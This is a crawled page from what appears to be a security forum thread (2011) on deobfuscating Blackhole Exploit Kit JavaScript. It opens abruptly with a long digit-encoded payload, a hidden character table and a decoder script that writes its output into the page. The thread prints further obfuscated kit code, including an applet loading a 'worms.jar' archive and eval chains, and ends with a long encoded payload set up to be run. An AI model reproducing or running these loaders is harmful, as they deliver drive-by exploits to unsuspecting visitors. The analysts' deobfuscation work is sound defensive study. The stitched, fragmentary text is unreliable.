0476208858819116939832310163726696350104762385488620176621414372669285353421047623854886201766214143726691108</div><div>39385464863569408384101212694859591108393854648635691810101047620885881911693983841016372669635010476238548862017662141437266940838453534210476238548862017662141414623854886201766214245037018925133862</div><div>82042439385446375038787289133862193748018226880142543748016910471384627611248453541137192415538408802442530138217673383925758569296929838408503750383460853878728983291069494915083310292429372910242353</div><div>01382176733839257585692978841384292429372910243824282426532929243753471424395303241816264862691153031611650184133739845448620850375038346085381908023801395411161183831047285301841337398454486208503750</div><div>38346085381966115716372669420854381954692808546085381012126938532808380184180238157202883937011012126928537338392575850880271012126923085438195469380815381942623785543748015959261059592308543819546938</div><div>08018450385959261010104737662984298315082648625084543188506928105753281414185329032403240324032916264862691176370176371047398383163853110819023742386932101637266915084248508584623831885019693824181044</div><div>03104718533814148408503750383460853878728962381988025453394403078408503750383460853878728983376629842983185782292916623854886201763944030718820188020214243938544538621937480182268801425437480169502415</div><div>24021047138462762624425354113719243853420880241153420831353477241853420884858502385424285342081338623726602437531338011548625313386219374801250184180238155301880202163726694208393854453862193748018748</div><div>01385353530188020210474208353477530316420850375038351828533808118419463750383460853869420850375038346085381016420815388502486034090880533816420815388502486034090885846238015431481538534216180880533816</div><div>18088584623801543148153853421637266911104711088053381611088584623801543148153853421437266928104728088584623801543148153853421628088053381628083701375469101414138462762316372669380837196462628460690210</div><div>10472648626923530316236518088402024821381508023801395411162383831047372669380837193188506902662357101047180884020248213815662357530266235714141426486269235303162365420826486242384538623726603484390802</div><div>38013954111623838310471808840202482138156623575342082648624238453862372660348439662357143726693808371967546237013969151010474208288462088588191169151014372669420839385445386219374801874801385353031047</div><div>37266963420813386219374801595918084284013462606401606910104726531808370119386254303446206888386260640202691510163726692666035710474208370119548402023815533216420825011541385445386219374801692666035724</div><div>26663257101414623854886201141384627639534208153885024860340908408838626069101637266939087873251047375339087873251613380115486253420845253187357367660357143726696338083719892510471384627640240124842448</div><div>16485369420850375038351828121242082501841802381510075462883882268402193816372669633712126926534208393854463750387872891338621937480169101063535301880202104737532614372669633712124208503750383518281047</div><div>26532978841384660649491557337202883900370129168453380826370115318413720288393701692610163726698410472653013821767338392575856926242937291016405326085438195469840815381942623785543748015959292910073808</div><div>39385431885069840815381942623785543748011082018802021601532608543819546984080184503859592929100738083938543188506984080184503810820188020216372669401212011047375369380842485085846238318850196938082648</div><div>62508454318850694010243808264862508454318850690110104453031007408201143802193847375340595901141414372669633712124208503750383518281212380837196784268462371212380835675353271047845338082637011531841372</div><div>02883937016929788413840833494915083372028839003701083317484248842924031016372669841047405338083938543188506984081538194262378554374801101637266940104737534014141437266937104742081338621937480103533716</div><div>37266942082501841802381510471338621937480125018418023815533714141438021938473726696337121239081954845488195353031047375342081938846242117884138472028839370164863569101637266937104713380115486253420845</div><div>25318735736766035714143726693710474208133862193748010353371637266942082501841802381512123808644254371338862501841802381510471338621937480125018418023815533714141437266963133862193748012501841802381559</div><div>59180842840134626064016069101047265318083701193862543034462068883862606402026915101637266926660357104713386219374801250184180238155326660357161338011548625326663257141437266963133862193748012501841802</div><div>38151212692653420840883862605837541148885464858502385419691010660357104742081338621937480103531338621937480125018418023815532666035716133801154862532666325716372669420837011954840202381553530003087910</div><div>47420837011954840202381553030879141437266938083719678426846237121238083567535327104737266963133862193748012501841802381512124810473726694208370119548402023815535353018802021047420837011954840202381553</div><div>03143802193847372669420837011954840202381553530003087910474208370119548402023815530308791414141437266942082862388737198418023815691010471338621937480125018418023815530188020214163726694208370119548402</div><div>02381553535301880202104742083701195484020238155313386219374801250184180238150732826937070003082782003210144208250115413854453862193748016913386219374801250184180238152413380115486210142425011541385445</div><div>38621937480182268801425437480169182415104713846276845354113719244253840880163726698408133862193748010310478408133862193748010353420826486250845431885069420839385431885069840813386219374801031010143726</div><div>69181047840813386219374801534208264862508454318850694208393854318850691810101684081338011548625369420837196754623701396915100715822929101437266984083938544538621937480187480138635332104784083938544538</div><div>62193748018748013853031414242862388737198418023815822688014254374801691047138462761853541137192415531808802442531808153885024860340908408838626069100878732524841637266942121215083567535332104737266969</div><div>15083719413842234812121508424850858462383188501969150813386241384223482429322422242724032910445303121215084248508584623831885019694224293224052403243227291065031059596915083719171162485038121215084248</div><div>50858462383188501969422429322405240324322729106503101047623854886201763214141637266915083719358538628412121508133862358538628444532212126318082501841802381512126318085037503835182812126318084088386260</div><div>58375411488854648585023854196910660357104762385488620176321437266969150837194138422348595915083719171162485038101212631808503750383518281212631808408838626058375411488854648585023854196910660357104762</div><div>38548862017632146238548862017603142415388502486034098247195484548819820188020224787325840202826657247873258201880202243034462082018802022440883862608226880142543748016910471384627626535411371924115326</div><div>08802442532608858462380154314815382437248424182439530238015301880202163726692608195484548819635353018802021047623854886201762614260819548454881953031637266969110837194138422348121211084248508584623831</div><div>88501969110813386241384223482411082648625084543188506929320805291010655303105959110837196784268462375959110837191711624850385959691108371989251212631108644254371338862501841802381510104762385488620176</div><div>26143726691108371989251212110813386289254453051047260830344620531108370119386254303446206929481828384254292466572466571016395311083938548735464818286926083034462010143802193847372669631108371989251212</div><div>69185311081184194637503834608538694208873409503750383460853810101212180854608538104726083034462053110837011938625430344620692948182838425429246629546085382924180854608538572466571016395311083938548735</div><div>46481828692608303446201014143726693910473726691108371989251212110813386289254453051047546260473908420284191937155342088734094202841919898714428454421169371047141416546260471384627615533908281350191637</div><div>26691510470238015315083938542038013954116910163726691108371931885069023801101047260819548454881953023801440307328200321626486269845303168465023801168483831047185311083938543188506915083938546902380100</div><div>32008410081338621937480110163726691810472608787325840202668457531814141414144284544211693710471414372669260878732584020208023801395411440310472608787325531108264862508454318850692608787325840202660357</div><div>10146238548862017626141424408838626058375411488854648585023854190303822688014254374801694224841047138462761853213701154821082884138424151654626047372669181212180802840139121218080284013908676019543850</div><div>10478408138402883853661808028401390867601954385008393854726248853862546069292884138408133862193748012910832976292418080284013908676019543850083938547262488538625460692928841384081338011548622910832976</div><div>29571414428454421169151047141424408838626058375411488854648585023854198226880142543748016910471384627642535411371924265342088024392484534208408838626058375411488854648585023854191637266963840813840288</div><div>38104784081384028838536601880202240188020257163726696326083719892512122137011548210828841384104737266926083567535327121226083719358538628412122608133862358538628465220827121226081338623585386284445322</div><div>10471438021938473726692608371941384223481212260842485085846238318850196926081338624138422348242932242224032403291065031212260842485085846238318850196926081338624138422348242932244324032403291044530310</div><div>47143802193847372669260837194138422348104713846276372418241153154842885038015416372669110842623884543825023850380154121211084262388454382513380154104754626047375311084262388454382502385038015469291537</div><div>13291024185311084262388454382513380154692930344620251338015419291016180837013754251338015469294211840139382924268402193824268402193810163708841515251338015420371954380138626929421184013938292426081184</div><div>01150238626942084088386260583754114888546485850238541903032426248410242684021938101637081537198584544211251338015469181014428454421169391047141414380219384742084088386260583754114888546485850238541903</div><div>03692624841014141414146238548862017684081384028838142484858502385482476238198802541982666601880202240188020257246601880202240188020257246601880202240188020257572430344620826603240324035724844254371338</div><div>82660324032403572484020248213815826627242724275724878850506035182834843930344620820324878850506067858401348439303446208203243938547338198802548226880142543748016910471384627642535411371908623819880254</div><div>19248424181626486269845303168465420802380139541116848383104718534266845716372669186603571047186238842314146238548862016657084248014284546918101424428401346260822688014254374801691510471384627618535411</div><div>37192442531808802484531808858462380154314815381637266918088402024821381566155753536110476238548862017654628838143726696384081338621937480103595963840825018418023815595969420837198925121263420864425437</div><div>13388625018418023815101047372669180884020248213815661557535327104762385488620176546288381437266918088402024821381566155753533212126318083938547338198802546910660357104762385488620176546288381414623854</div><div>88620176268402193814244284013462606401608226880142543748016910471384627618535411371924841626486269845303168465180884020248213815080238013954111684838310473726691808428401346260698410104762385488620176</div><div>54628838141462385488620176268402193814244284017119386485850238543484398226880142543748016910471384627618535411371924425318088024845318088584623801543148153816623854886201696342083719892559598408250184</div><div>18023815101424428401711938351828384254348439822688014254374801691047138462768453541137192418538408801662385488620169631808371989255959180864425437133886250184180238151014244088386260341137198226880142</div><div>54374801691110471384627639244253541137192418534208858462380154314815382426531808802484531338011548625301880202241553260839385487354648182869420830344620661157245462883810163726691510475462604784531508</div><div>39385445386219374801691083297629161338011548625315083938544538011548626910832976291615081954845488191884626926082137012048841538150729762982297629101442845442116939104714372669260837196754623188506984</div><div>10104742086238198802541966115753668424133801154862571454626047372669260837198925121284121215086238841560675484543863535210472608398462188439385354628838161508858462380154314815380862385048133817113702</div><div>15691510141442845442116939104714141424370119386254303446206888386260640202822688014254374801693810471384627639535411371924015339088584623801543148153824155301088024485339086238198802541924405339083034</div><div>46202411532912011819851612011819851612011819851612011819851629248853296408420284191929163726696315083719675462370139693810595963693649082884624919338036100854381954693810595969364949361008543819546938</div><div>10104762385488620166018802022401880202571437266901083534776532104701083534775332143726690108286238873719841802381569101047623854886201660188020224018802025714372669010835347765271047010835347753271413</div><div>84627642533824545329292450163726696936664936573610085438195469381010475053380819850237546929362910164253506650080238013954110032571650665008023801395411003257532929165453500828483701692936291014138462</div><div>76285366298462421137133829244224294248153829248857240253662950846019426237855429242954628838295724625366291942623785548418023829242954628838295708424801428454690210242653631508371989251212010850375038</div><div>35182812120108503750383518280854608538070108503750383518280854608538820108503750383460853866035716372669634066035712123908428401711938351828384254348439691012123908428401346260690310104740660357531508</div><div>37198925071508370119386254303446206929481828384254292466295460853829242657084248014284546928102466294248153818841938292454570842480142845469281008424801428454696210241124011082150837011938625430344620</div><div>69294818283842542924662954608538292426242984624211371338292442242942028419193715292429288413848229838857246629424815381884193829245424298462421137133829244257084248014284546962102411240110164866035753</div><div>66032403571639084088386260341137196903101437266963406632571212390842840171193864858502385434843969101212390842840134626069321010474066325753150837198925071508370119386254303446206929848585023854292466</div><div>29840254292411570842480142845469021008424801428454692810246629424815381884193829245457084248014284546902102411240110821508370119386254303446206929848585023854292466294248153818841938292454242984025429</div><div>24115708424801428454690210084248014284546928102466570842480142845469021024112401101648663257536603240357163908408838626034113719693210143726696340662757121239084284017119383518283842543484396910121239</div><div>08428401346260692710104740662757531508371989250715083701193862543034462069294818283842542924662942028419193715292401084202841919898757246629424815381884193829245457084248014284546928100842480142845469</div><div>62102411240110821508370119386254303446206910164866275753660324035716390840883862603411371969271014372669633908878850506035182834843930344620121239084284017119383518283842543484396910104739088788505060</div><div>35182834843930344620531508370119386254303446206929481828384254292466572466572411101437266963390887885050606785840134843930344620104739088788505060678584013484393034462053150837011938625430344620692929</div><div>24665724665724111014161384627623248453031626486269235303162365480802380139541116238383104737266940662357595939084284013462606923101047848383143802193847186238842314143726698453534808023801395411104701</div><div>08393854453862193748018748013853010826486242384538623726603484390802380139541144030703823214623854886201763908393854733819880254691014142484858538011582268801425437480169382415104726486269138462764253</div><div>03164265150802380139541116428383104738088588191169156642571014142478841384773775822688014254374801691047141424841548183862388415386282475037503834608538822984858502374284543748013685152629240184137202</div><div>88393701351828820188020224856248398987826629644262487287770872877729242972877708721526175462022957244202841919898782294202193715821764436422044303002743038700323217770064275287005252527979617952030303</div><div>03292489316734642020258782471424850288393701308419463750383460853882268801425437480169152442242610471384627618535411371924385318088024841626486269847637017615104737266915668457121215668457085460853812</div><div>12156684570854608538535342104762385488620176321414372669380839385446375038250184180238157202883937016942242610104762385488620176321462385488620176031424393854453862193748018226880142543748016937242810</div><div>47138462762653541137192442532608802411241524232450538553018802022439530188020224025301880202248424181628536942083719675462370139692810121228080238013954111007280862388502844238693649193624292910085448</div><div>20482138621784193869108226085037503834608538163726694208371987382637013815692608893167346420202587662857101047260837011954840202381553260889316734642020258766285716623854886201143726696342083719892510</div><div>47845329641548183808337287770833720288390007370159641548183808336442624818845408337202883900073701596415481838083373388415386208337202883900073701291637266926083938544538621937480187480138635353031047</div><div>26083938544538621937480187480138530316855342083938544637503825018418023815720288393701692608503750383460853824841016372669638512124208118419463750383460853869260850375038346085381010478553420826370115</div><div>31841372028839370169842403101437266985104726080184137202883937013518285385163953420839385431885069850815381942623785543748011059594208393854318850698508018450381016395342083938547202883937017737023845</div><div>38621937480169852439101637266963391212420835675353321047372669260885028839370130841946375038346085386985242984858502374284543748013613011508841548183808851526755002292484101047395329222914380219384737</div><div>26692608850288393701308419463750383460853869852429848585023742845437480136130115088415481838087500508462192924841010473953294329141414141438021938473953260813386219374801145053420839385446375038250184</div><div>18023815720288393701692824841016260837011954840202381553501212390732826950070382692608018413720288393701351828070003082782003210101438021938478553420839385464863569260885624839898766035710595942083938</div><div>54648635692608856248398987663257101618533653491933696649154908578310363916546260471553698559594208393854873546481828694208370119386254303446206929481828384254292466294202841919371529242608420284191989</div><div>87572466291962422924292957242929242610101008413854453862193748011969101626486269235303162365791623838310473726691808543819546915101212696339595973383925758508803244391010473953733839257585088032141414</div><div>42845442116911104714260837011954840202381553390732826985070382003210143726696326081338621937480110472608133862193748015342082648625084543188506939101426088931673464202025876628575326083701195484020238</div><div>15141424555582031416720288393701873854384254083701375467426237855469101672028839370187385438425408393854453862193748016929082910162813386253720288393701873854384254083938544538621937480169297884138429</div><div>24288413842637023810168515261338625372028839370187385438425408393854453862193748016929641548183873388415386229101614428454421169381047143726695460853848267628133862535356195462370139561047281338625328</div><div>13386208198502375469560856101438021938472813386253660324032403240357143726695460853848267685152613386253535619546237013956104785152613386253851526133862081985023754695608561014380219384785152613386253</div><div>66032403240324035714268801425437480176198502036910473726696928133862663257535379121228133862666157655327611059596928133862663257535305121228133862666157655332431010471548428850380154082162375438692965</div><div>84858502385476424815385356188837021567386213374238084684858184011538750842028419195676846242113713385356083639845038193621486250190828846256762137155411535632567611383739115453563256446585846284507601</div><div>84503853568556761384028838535638030348468787734870425050453611038727454838482888432218051143375636446536848585023854442910161419850232691014268801425437480176198502326910473726692813386266325753530512</div><div>12281338626661576553276110471384627654623726625315484288503801540842623884543825023850380154695689777364462556101654623726620819385464545462371888543869562137155411562432101654623726620819385464545462</div><div>37188854386956113837391154562432101654623726620819385464545462371888543869561962425624560836398450381936288413845154628819540885118507265343525610161548428850380154081848156008848585380115171137021569</div><div>54623726621014198502276910142688014254374801761985022769104737266928133862663257535305121228133862666157445332031212281338626661576553322210472688014254374801760228196942023715104754626047138462763911</div><div>54185315484288503801540842623884543825023850380154692935707825173429101639115418084202841919371553294202193715822983420237151639115418080284880142116929115454858276290842480142845469290078002884622924</div><div>29760078494949492279082732790803084322494949498588184949494901382108841337767611545485823636488521405050080138543615088511850726534352123853277601480138291010144284544211693810471414022819692917647725</div><div>25776417008725170400030303030003030303006470178725777725871770642910160228196929436487221743520300035252250032328732007061252200030343037977522222872261291016141985026169101426880142543748017619850261</div><div>69104737266928133862663257535305121228133862666157445332221212281338626661576553273210471384627619023726625315484288503801540842623884543825023850380154695689777364462556101619023726620819385464545462</div><div>37188854386956213715541156243210161902372662081938546454546237188854386956113837391154562432101619023726620819385464545462371888543869561962425624560836398450381936288413845119236002370138088511850726</div><div>53435256101615484288503801540818481560088485853801151711370215691902372662101419850252691014268801425437480176198502526910471384627662845253290836360808363684154818388885158454380838753829246284615315</div><div>48428850380154084262388454382502385038015469294818283842542910166284610819385464545462371888543869293715292462846110166284610819385464545462371888543869294202841919371529242942021937158270872205177979</div><div>05000579646100323287030022436164000303170352771727222561052910165462604713846276628403536284610817623884543835182838425469298415481518081954623884502924292910246284325362846108176238845438351828384254</div><div>69296711380202086485850237428454374801292429291024628427536284610817623884543835182838425469295019755002270886462030343472292429291016546260476284270848853801692941253429242911545485823636488521405050</div><div>08013854361508851185072653435212385352292426840219381016628427081938011569101662840308546085385332166284030848853801691016628403085862375438696284270862381985480119387048156010166284030867841338344877</div><div>37023869628452242710166284030817024819386910161442845442116938104714546260476284320819113802023875384288543869628452101614428454421169381047141442845442116938104714198502796910142688014254374801761911</div><div>48215185152669196242104713846276853726625315484288503801540842623884543825023850380154695689777364462556101685372662081938546454546237188854386956213715541156243210168537266208193854645454623718885438</div><div>69561138373911545624321016853726620819385464545462371888543869561962425624196242101615484288503801540818481560088485853801151711370215698537266210142688014254374801761985027969104737266985152613386266</div><div>03574403121285152613386266035765431047191148215185152669560836398450381936322615850885118507265343525610143802193876372669698515261338626603575353431059596985152613386266035753532212128515261338626632</div><div>57655361101047191148215185152669560836398450381936272615850885118507265343525610141985020569101426880142543748017619850205691047546260472648626913846276375303245016376501841337398454486208850288393701</div><div>19080238013954111637838310471384627601845038530184133739845448620885028839370119663757080184503816372669018450380837011538753526695646381537847672028460386256106353003210475053154842885038015408426238</div><div>84543825023850380154695689777364462556101650081938546454546237188854386956196242562456083639845038193685421108851185072653435256101650081938546454546237188854386956213715541156240310165008193854645454</div><div>623718885438695611383739115456240310161548428850380154081848156008848585380115171137021569501014141442845442116938104714193854343750384888546938011551623815376238425424050303031014198502036910</div></div><textarea id="textarea" style="overflow:hidden;width:1px;height:1px;">-nl076^?.K)h&v}d;CbsLw9k,Ef2j"HN1*TO/iegqGc8>VM{o\\m_4=tz\']W|y3r!A<[SQ(BUPR@x FJ5$Y:+apXDuI</textarea><script>';


s=new String();

        if(typeof(a) == 'string') {        
          if (typeof(z) == 'undefined') {
           pos = a.indexOf('<textarea id="textarea" style="overflow:hidden;width:1px;height:1px;">');
           if (pos > -1) {
            z = a.substring(pos);            
            z = z.replace(/<textarea id="textarea" style="overflow:hidden;width:1px;height:1px;">/g,"");            
            z = z.replace(/<\/textarea><script>/g,"");            
            a = a.substring(0,pos);            
           }  
          }
         a=a.replace(/<html><body><div style="overflow:hidden;width:1px;height:1px;">/g,"");        
         a=a.replace(/<\/div>/g,"");        
         a=a.replace(/<div>/g,"");          
         a=a.replace(/<script>/g,"");        
        
         for (i=0;i<=a.length;i+=2){
 q=a.substr(i,1)*10;
          q+=a.substr(i+1,1)*1;
 s=s+z.substr(q,1);
         }
        }
         else  
        if(typeof(a) == 'object')  {
         for(i=0;i<=a.length;i++){
 s+=z.substr(a[i],1);
}
        }

        document.write(s);




Ruining the bad guy's day

September 06, 2011, 12:58:44 pm
Reply #6

Securettyphreak

  • Newbie

  • Offline
  • *

  • 3
Code: [Select]
<html><body><applet code='buildService.MapYandex.class' archive='./content/worms.jar' width='1' height='1'><param name='p' value='e00oMDD./fQ/hZ0%.oV%kDBVoeoju8#b6h83'/></applet><div id="qwe" style="display:none;">5</div><script>
                        $=[document.getElementById('qwe').innerHTML];
                        z=+$;
                        eval(String['fromCharCode'](105-$,116-$,104-$,122-$,114-$,


SysAdmMini,

I found a different version of what I think is the Black Hole Exploit Kit. I was wondering if you can help me De-obfuscate this version. Any help would be greatly appreciated.  I watched the domain change and I grabbed this version.

Let me know if any of the above templates for malzilla apply.

Thank you kindly!

Sincerely,

SecurettyPhreak!

September 06, 2011, 01:23:25 pm
Reply #7

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Deobfuscation of this (current) Blackhole version is very simple. We don't need a template.

Let's look how the script works.
First script gets the value of div section "qwe". The value is 5 in example and it has always been 5 in all installation that I have seen in the last days.

Quote
<div id="qwe" style="display:none;">5</div>
 

This value (5) is being subtracted from  each value in the array. The result of each value is a character code of a single character.

So it's very easy to deobfuscate

Delete everything before "eval(". Check what variable name is being used for substraction, In our case it's "$".
Assign the value of qwe to this variable and insert the term before "eval(".

Quote
$=5; eval(String['fromCharCode'](105-$,116-$,104-$,122-$,114-$,

Sometimes the term "String['fromCharCode']" is obfuscated , for example "eval(String[c+'romChar'+'Code']".
In this case just replace it by "String['fromCharCode']"  or "String.fromCharCode"

Go to end of script and delete "</script></body></html>". Run it.
Ruining the bad guy's day

September 06, 2011, 03:15:56 pm
Reply #8

Securettyphreak

  • Newbie

  • Offline
  • *

  • 3
SysAdMini,

Awesome work!

Thank you kindly!

Sincerely,

SecureTTYPhreak!




September 07, 2011, 07:54:44 pm
Reply #9

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Decoding latest Blackhole kit version

Today I have found a new version. Obfuscated code looks different to previous versions, but it's actually the same known algorithm.

Here is an example of script's start.
Code: [Select]
<html><body><input type="password" name="zrIym" value="dgstrh" style="display:none"><span style="visibility:hidden"><span>05877555638705872726296757539285853288242487672775188572621562697075196727868961458961612426148754670924546785288705870023270289638775536505877555630567755706161216121612163612328627056....
Here is example of script's end.
Code: [Select]
baean=this["d"+"ocume"+"nt"];baean.U10oD=function(ft){return baean.getElementsByName(ft);};WhDmOuf={KPmLWk9S:baean};with(WhDmOuf){if("rtfbb"!="c"){Im6j0DHT=KPmLWk9S.U10oD("zrIym")[0].value;Im6j0DHT=Im6j0DHT.replace("d","").replace("s","").replace("r","");}}if(baean===document){tyuf=this["vrty"];}with(WhDmOuf){if(Im6j0DHT==="gth"){Zjyvz="a[object]l".replace(baean,"");}}LGWD1ff = window["ev"+Zjyvz]("ev"+Zjyvz);RMQ2l = "IKo$!v[{(sNB,2mu0\"w3kqXn/>ifJlF@pL#M]x<G)ZQ-8zDRH_|OP'g %=?\\Wcyj1;*e&54A69Er^V7+b}TSUtda:.CYh";with(WhDmOuf){if("abc"!="cabc"){ZCLYUKK=KPmLWk9S.getElementsByTagName("span")[1]["inn"+"erH"+"TML"];}}p7ayG="";nnn=ZCLYUKK["len"+Im6j0DHT];for (i=0;i<nnn;i+=2){q=ZCLYUKK.substr(i-0,1+1)*1;with({KPmLWk9S:p7ayG}){p7ayG=KPmLWk9S["concat"](RMQ2l["substr"](LGWD1ff("q"),1));}}LGWD1ff(p7ayG);</script></body></html>
All we need are the index values and the character table.

First replace all html code at the beginning of the script by

Code: [Select]
a="
example:

Code: [Select]
a="058775556387058727262967575392858532....
Add

Code: [Select]
";
after all numbers.

Code: [Select]
916084065";
From all the code that follows from this position, we only need the character table.

Quote
</span></span><script>baean=this["d"+"ocume"+"nt"];baean.U10oD=function(ft){return baean.getElementsByName(ft);};WhDmOuf={KPmLWk9S:baean};with(WhDmOuf){if("rtfbb"!="c"){Im6j0DHT=KPmLWk9S.U10oD("zrIym")[0].value;Im6j0DHT=Im6j0DHT.replace("d","").replace("s","").replace("r","");}}if(baean===document){tyuf=this["vrty"];}with(WhDmOuf){if(Im6j0DHT==="gth"){Zjyvz="a[object]l".replace(baean,"");}}LGWD1ff = window["ev"+Zjyvz]("ev"+Zjyvz);RMQ2l = "IKo$!v[{(sNB,2mu0\"w3kqXn/>ifJlF@pL#M]x<G)ZQ-8zDRH_|OP'g %=?\\Wcyj1;*e&54A69Er^V7+b}TSUtda:.CYh";with(WhDmOuf){if("abc"!="cabc"){ZCLYUKK=KPmLWk9S.getElementsByTagName("span")[1]["inn"+"erH"+"TML"];}}p7ayG="";nnn=ZCLYUKK["len"+Im6j0DHT];for (i=0;i<nnn;i+=2){q=ZCLYUKK.substr(i-0,1+1)*1;with({KPmLWk9S:p7ayG}){p7ayG=KPmLWk9S["concat"](RMQ2l["substr"](LGWD1ff("q"),1));}}LGWD1ff(p7ayG);</script></body></html>

Cut the character table and delete the remaining code. Now paste the character table and assign it to variable with name "z".

Code: [Select]
z="IKo$!v[{(sNB,2mu0\"w3kqXn/>ifJlF@pL#M]x<G)ZQ-8zDRH_|OP'g %=?\\Wcyj1;*e&54A69Er^V7+b}TSUtda:.CYh";
Now insert our Blackhole template code at the end of the script and run it.

Your script should look like this.

Code: [Select]

a="058775556387058727262967575392858532882424876727751885726215626970751967278689614589616124261487546709245467852887058700232702896387755365058775556305677557061612161216121636123286270567755706161216121612163665857562070587755552291554262346678567618557079287238629677588271523618526022308611280128740077567851575235527152361852602230840076108801287408181122609466727262367868827152361852602230880400775678515752355856232670227558004571715238667272623678617811226097175758762882715236185260223088040077567851575230824877575876224264089856709850851806367618589327502850285623267898502838575262354896187292908804040811226093015236188271523618526022308804007756785157523558562326702275580575717271523618526022317811226098385752623548827152361852602230880400775678515752355856232670227558057571709857526235417811226091015148827152361852602230880400775678515752355856232670227558057571723151480677517811226098385751015148827152361852602230880400775678515752308856232670227558057571709857526235417686808245986244089856709850880404081125467851015144767543788240659863606598659895949124336662412093229268510151447675437882406598959491243362454125467851015148827152361852602230880126140070587755586578592260912875786892609838575101514088040580886892609466727262367860861405823671855476754743732086140888689546785101514476754374089673767610880408823152929657567851575235587588706163688231529298112610214328775671015140988271523618526022308921227128640070587755567578592260912611280128712545732877509670023856526270867892609838575101514089240686867892609838575101514082740400726270867892609466727262367860886406868868961021432877567101514094007756785157523558689610214328775671015140908921227408161579289093229268508678909322926851015144767543740658057278909322926850867890932292685101514476754374065270275088757166587383587859289142623086189296723548592128089296723548592406587797940072627085408610687361264164025540880068736126416404007756785157523556481262708540861068736126416403854088006873612641640400775678515752355436481818175678515752355168112270275148785101514882715236185260223088012614007058775558657859226091287126765262708048689260983857510151408804040077567851575235523152929812627080486892609101514086140400761577081614343656757808975673229876167082459092454121717408909322926850886890932292685101514476754374089610223618785080617161712171617121716171217161736406527027508875716658738706587797940072627082476081679400889794003248985670985086706873640400767068736574767547437328903138126270887256150500408245986244089856709850867068736404007670687365717161781817567851575235567890929266167081612704089630226230817121740811203039287093526146782623267882715236185260223088740077567851575235527152361852602230886400726270804878926090074686886400705877555611280126712275787892609838575262354088640580686368886652627080427505004278929672354859240077567851575235523152929812702750867571665673827892967235485926567797940072627082406765909362489856709850827066736406868086157238705265487850275891426146782623267090627066736364068680880576189672387802967865229155426234068680880892387146750508089866709617526328526022340400775678515752355618181817567851575235523152929818112272623861087055229155426238827152361852602230829126712614007058775556357859226091292572367185547675474373208291217261740128657080463892609466727262367860867405050674058245986248816122057615823671855476754743732086112172617408816128757238705265487850275893229155426230912545717171227128012146527027508275716652738878929672354859265277979400714578706273689866709617526328526022350505465805787062736892387146750505465262708089289856709850814406868080486505086898567098508476754743732892967278590022385673785794767547437328975265492859002238567378540404050500892898567098508804068680804865050868985670985084767547437328929672785900223856737857947675474373289752654928590022385673785404040400726270804205050040820898567098508144050502089856709850880404040077567851575235587062736818181756785157523552315292981125467853526146774238780296786522915542623882715236185260223088712274007058775556757859226091280126157236718554767547437320827121726174012865717176526270808805767899287093526146782623267088740406868088057808967238780296786522915542623406868086189856709850880898667096175263285260223505086405050618985670985088089238714675050864040400775678515752355808175678515752355168112546785522915542623302629677767750926022388271523618526022308271280400705877555925785922609126712861254128712615743646526270892895183251350500427505004278905677509260223505004086757928954678510151408278905677509260223404040077567851575235580812627080480400775678515752355678167579289270275148785101514086740658057928927027514878510151408804065865780890932292685089289093229268510151447675437406554576789093229268508928909322926851015144767543740652702750887571665873886892967235485926587797940072627086125436468688725616868860687360457171617400775678515752355808126270854068736045786068736400726270861575743644007615787812627088606873604571716174007756785157523558081818175678515752355678112712251881826238602188971618526056722518063676185125467857122518827152361852602230880400705877555275723152929128612615785922609128765857562072757236718556189712251088040816187856192088640078175678515752355278112610223056775853015236109882715236185260223085440070587755587129212271280572476065903360659033624128657078112615785922609652702750887552623555440072627088089856709850887404007860687365764818127027508875526235586400785756207925787890929266167081340652627089289296723548592251668680454069236400754069236575406873608544065866729678567555406873681816187856192082740078181811226232685836175263285882715236185260223084007058775556157859226091287572387052654878502751267571724171226578789150967757154672385505017171254578789056723860275505017171280578789322987852702751450501717129257878932750286156185505017176561895183576416166526270880400705877555271286570617602623171264121735876117121312173326231537171219121730756767118346171270121726529202236717121364896412172652028617121364891312172652878617121364891912176026238966907417121313896412176026238966350280262967171213138913121752026120678559096652901712131389191217171264161636652702750827578689296723548592431365272557166527572743134007262708860627366868236718554767547437320886062736121726174089856709850880404007618951835786062779643665807567872081818161896102230567758530152361090861406561892609007457236718553015236185260223081775678515752355177967791766316161490223043166177967791727872909671740084065618905677500745761892609007468680824358300745909660859867959895859866640242640898567098508264058328775096730290287850847675474373289036412641640882315292965618971618526056722742387802967865727872909676526270861892609007440070587755527126357061735093714291389223533488282521712173509371429138946513546026115146723851712173526617502090227858922353346513517121783920261201887056730298709928983920261201887056730298709921712178246909085298982469090852917121783926729298984004867293267751712178361752632852623548946266185260223877562171217181432298762677589026137173665270275082757166527386389296723548592652779794007262708618954678571225108630627364040076189716185260567227423878029678657857515676580756787208181618992678786576189260946672726236786088602611514672385895467857429671467238509116282875410871467405886026115146723858954678574296714672385091162828754108714670817926787861740061636882315292981618926093967612002570824396761200224264089856709850892406868082439676120025909665924590966598624264089856709850826406561890567753967612002576189260939676120025861892702751487851015140808247505590966598859096608065989591259863679402426408985670985082640584767547437328903648817168973174088231529296561892609838727877526570824838727877526590966592459096659862426408985670985082640686808247132322967242640898567098508544065618926099092750214675708249092750214675909665924590966085986065986598936664024264089856709850826406561890567759092750214675761892609909275021467586189270275148785101514084767547437328903644088231529296561892609513267758757082451326775875909660659243658590966085986795989585986664024264089856709850826406561890567755132677587576189260951326775876868080824776775092602235909665924590966085986795989585986664024264089856709850826405050644058328775096730290287850847675474373289036412641640882315292965618987868660262374056723850817290287861712618992872386296775086189751523603327152361091261404081122623268588271523618526022308614007058775558057859226091287126165262708048089260983857526235408614040077567851575235543198126270861892967235485925757644007808954678577677509260223466729261426856775576165756785157523554319816157618985023302186775908709670840897567322987616708245909245412171740658757800661366526270804875050048789546785776775092602234007756785157523554319818089322915542623578765262708048089260946672726236786088789262309858729296786404007878926230985872929678657878905677509260223578789056775092602231657878954678577677509260223460223675723152929658789035780658789322915542623108714675761818089548775808754675727872909676526270880892609007468680480897161852605672274238780296786400726270887045757808963870587400775678515752355431381817567851575235564811227521509928827152361852602230880128740070587755561578592260965262708618926097175758762088740686808618926093015236108804050500861892609717575876208804068688089296723548592251668686189260930152361088006163640404040078789321509920880408181126187292971757587628827152361852602230880400705877555615785922609128765262708618926097175758762088040400727027508875716658738808929672354859265877979400726270880068736575757231529294007756785157523816189618729290880068736406580068736572315292981818112618729298827152361852602230861400705877555805785922609128757808926097175758762086140586189296723548592884364652627088725166868808926093015236108610616364040076106163608801287256458610664368816128725135861061336881612872519586106193688164081672909670726270880892609301523610861404007610880408181811254678577677509260223466729261426856775881712171203035467857